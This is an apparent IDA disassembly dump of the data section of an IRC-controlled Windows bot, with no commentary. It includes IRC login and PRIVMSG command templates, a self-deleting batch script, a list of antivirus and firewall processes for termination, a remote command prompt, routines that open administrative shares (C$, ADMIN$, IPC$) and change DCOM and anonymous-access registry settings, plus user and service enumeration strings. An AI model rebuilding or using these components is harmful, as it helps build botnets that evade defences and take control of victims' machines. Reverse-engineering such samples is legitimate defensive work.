dword_438728	dd 42h			; DATA XREF: ___:00437CB0o
dword_43872C	dd 56h			; DATA XREF: ___:00437CACo
dword_438730	dd 43h			; DATA XREF: ___:00437CA8o
dword_438734	dd 58h			; DATA XREF: ___:00437CA4o
					; ___:00438038o
dword_438738	dd 5Ah			; DATA XREF: ___:00437CA0o
dword_43873C	dd 4Ch			; DATA XREF: ___:00437C9Co
dword_438740	dd 4Bh			; DATA XREF: ___:00437C98o
dword_438744	dd 4Ah			; DATA XREF: ___:00437C94o
dword_438748	dd 48h			; DATA XREF: ___:00437C90o
dword_43874C	dd 47h			; DATA XREF: ___:00437C8Co
dword_438750	dd 46h			; DATA XREF: ___:00437C88o
					; ___:00438000o
dword_438754	dd 44h			; DATA XREF: ___:00437C84o
dword_438758	dd 53h			; DATA XREF: ___:00437C80o
dword_43875C	dd 50h			; DATA XREF: ___:00437C78o
dword_438760	dd 4Fh			; DATA XREF: ___:00437C74o
dword_438764	dd 55h			; DATA XREF: ___:00437C6Co
word_438768	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C68o
		align 4
dword_43876C	dd 54h			; DATA XREF: ___:00437C64o
dword_438770	dd 52h			; DATA XREF: ___:00437C60o
dword_438774	dd 45h			; DATA XREF: ___:00437C5Co
dword_438778	dd 57h			; DATA XREF: ___:00437C58o
dword_43877C	dd 51h			; DATA XREF: ___:00437C54o
dword_438780	dd 62h			; DATA XREF: ___:00437C48o
					; ___:00437F3Co ...
dword_438784	dd 78h			; DATA XREF: ___:00437C3Co
dword_438788	dd 7Ah			; DATA XREF: ___:00437C38o
dword_43878C	dd 6Ch			; DATA XREF: ___:00437C34o
dword_438790	dd 68h			; DATA XREF: ___:00437C28o
dword_438794	dd 67h			; DATA XREF: ___:00437C24o
dword_438798	dd 66h,	79h, 77h	; DATA XREF: ___:00437C20o
dword_4387A4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B0	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387B4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43892C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438984	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389A4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389A8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A14h, 438A0Ch,	2, 438A00h, 4389F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389BCo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A0o
unk_438A68	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A8C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AB8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43900C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439030	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43904C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439098	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4390F8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439120	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439170	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439360	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439668	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439694	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397B0
		dd offset dword_4397A4
		dd offset dword_439798
		dd offset dword_43978C
		dd offset dword_43977C
		dd offset dword_439770
		dd offset dword_439764
		dd offset dword_439758
		dd offset dword_43974C
		dd offset dword_43973C
		dd offset dword_439730
		dd offset dword_439720
dword_439720	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043971Co
dword_439730	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439714o
dword_43974C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439710o
dword_439758	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439700o
dword_43978C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:004396FCo
dword_439798	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397A4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397B0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F0o
dword_4397BC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396ECo
dword_4397C8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396E8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396DCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396D8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396D4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396CCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396C8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396C4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439878	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43989C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398C0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439948	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399AC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_4399D0	dd offset dword_439A08	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		dd 0
		dd offset dword_439A00
		align 10h
off_4399E0	dd offset dword_4399FC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_4399F8
		dd offset dword_4399F4
		dd offset dword_4399F0
dword_4399F0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399ECo
dword_4399F4	dd 2444h		; DATA XREF: ___:004399E8o
dword_4399F8	dd 5C3A43h		; DATA XREF: ___:004399E4o
dword_4399FC	dd 2443h		; DATA XREF: ___:off_4399E0o
dword_439A00	dd 494D4441h, 244Eh	; DATA XREF: ___:004399D8o
dword_439A08	dd 24435049h, 0		; DATA XREF: ___:off_4399D0o
dword_439A10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AB8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AE4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439BF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C28	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DA4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E18	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
